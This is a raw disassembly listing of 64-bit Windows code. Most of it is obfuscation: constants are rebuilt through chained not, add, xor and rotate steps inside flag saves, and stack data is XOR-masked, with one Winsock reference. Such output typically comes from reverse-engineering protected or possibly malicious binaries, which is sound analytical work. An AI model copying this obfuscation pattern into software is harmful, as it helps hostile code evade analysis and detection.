xor rax, 0x4952e573
rol rax, 0x71
popf
pushf
not rax
add rax, 0x49756ccc
xor rax, 0x661c6bda
rol rax, 0xe1
popf
mov qword [rbp + 0x50], rax
movabs rax, 0xc33e2f8eefddc187
pushf
not rax
add rax, 0x6102d951
xor rax, 0x48901786
rol rax, 0xd
popf
pushf
not rax
add rax, 0x65a491a9
xor rax, 0x5f5d4028
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x6e1261fa
xor rax, 0x4bebecfd
rol rax, 0xdd
popf
mov qword [rbp + 0x58], rax
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x40]
call fcn.1400d383e
movabs rax, 0x6bd05f357c96f64
pushf
not rax
add rax, 0x47264dd2
xor rax, 0x78ac9224
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x4bbd6422
xor rax, 0x7f613c38
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x673958ac
xor rax, 0x637e0e07
rol rax, 7
popf
pushf
not rax
add rax, 0x5fa142d8
xor rax, 0x7d7b4028
rol rax, 0xfa
popf
mov qword [rsp + 0x40], rax
movabs rax, 0xd41d405f30b45d47
pushf
not rax
add rax, 0x6b2a5809
xor rax, 0x645ec03e
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x70b15eba
xor rax, 0x772744c6
rol rax, 0x2a
popf
mov qword [rsp + 0x48], rax
movabs rax, 0xd4e4e87ae7e84a95
pushf
not rax
add rax, 0x40acb507
xor rax, 0x40c9c3a1
rol rax, 0xce
popf
pushf
not rax
add rax, 0x671c3c42
xor rax, 0x6ece7c94
rol rax, 0x38
popf
mov qword [rsp + 0x50], rax
movabs rax, 0x8aaef32296bcc638
pushf
not rax
add rax, 0x7c4b16be
xor rax, 0x57c9dde5
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x4ea1dbd6
xor rax, 0x5726a600
rol rax, 0x96
popf
mov qword [rsp + 0x58], rax
movabs rax, 0x4ee9ebb03654b0af
pushf
not rax
add rax, 0x53212d0d
xor rax, 0x570aca7c
rol rax, 0x38
popf
pushf
not rax
add rax, 0x7fdfe0f9
xor rax, 0x756f81d4
rol rax, 0xb6
popf
mov qword [rsp + 0x60], rax
movabs rax, 0x8d69f2aa2e38ff71
pushf
not rax
add rax, 0x502a7491
xor rax, 0x45c1275f
rol rax, 0x26
popf
pushf
not rax
add rax, 0x6219f483
xor rax, 0x6ac248dc
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x732fe4ea
xor rax, 0x7e0713d1
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x73e59342
xor rax, 0x6f9cf11b
rol rax, 0xa6
popf
mov qword [rsp + 0x68], rax
movabs rax, 0xf9c24ff4c17168ba
pushf
not rax
add rax, 0x4dbd7deb
xor rax, 0x61f711eb
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x6a385d68
xor rax, 0x7b474239
rol rax, 0x27
popf
mov qword [rsp + 0x70], rax
movabs rax, 0xe83b37a7324576fe
pushf
not rax
add rax, 0x668531c4
xor rax, 0x5aee094f
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x6f084bf1
xor rax, 0x46f4b310
rol rax, 0x87
popf
pushf
not rax
add rax, 0x78d4066d
xor rax, 0x50eda792
rol rax, 0xe0
popf
pushf
not rax
add rax, 0x64afb21d
xor rax, 0x4d2df6a8
rol rax, 3
popf
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
movabs rax, 0xe56dbc6555de116f
pushf
not rax
add rax, 0x521b9a4a
xor rax, 0x71dc83a4
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x5d84d396
xor rax, 0x689c7f8b
rol rax, 0xc8
popf
mov qword [rbp], rax
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r13
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea rcx, [rsp + 0x40]
call fcn.1400d383e
push rax
pushf
mov eax, 0x7f47e98
pushf
not eax
add eax, 0xf5b0752f
xor eax, 0xeeb6c3e3
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xc07f051b
xor eax, 0xf39518cd
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xe805072a
xor eax, 0xf5f5f72d
rol eax, 0x77
popf
pushf
not eax
add eax, 0xc0ab3421
xor eax, 0x98ec6caf
rol eax, 0x90
popf
jmp 0x1400fdf79
mov al, reloc.WS2_32.dll_ntohs
pushf
not al
add al, 0xd7
xor al, 0x2a
rol al, 0x68
popf
pushf
not al
add al, 0x4a
xor al, 0xba
rol al, 0xca
popf
pushf
not al
add al, 0x55
xor al, 0x43
rol al, 0xed
popf
pushf
not al
add al, 0x77
xor al, 0x16
rol al, 0xf8
popf
jmp 0x140100adc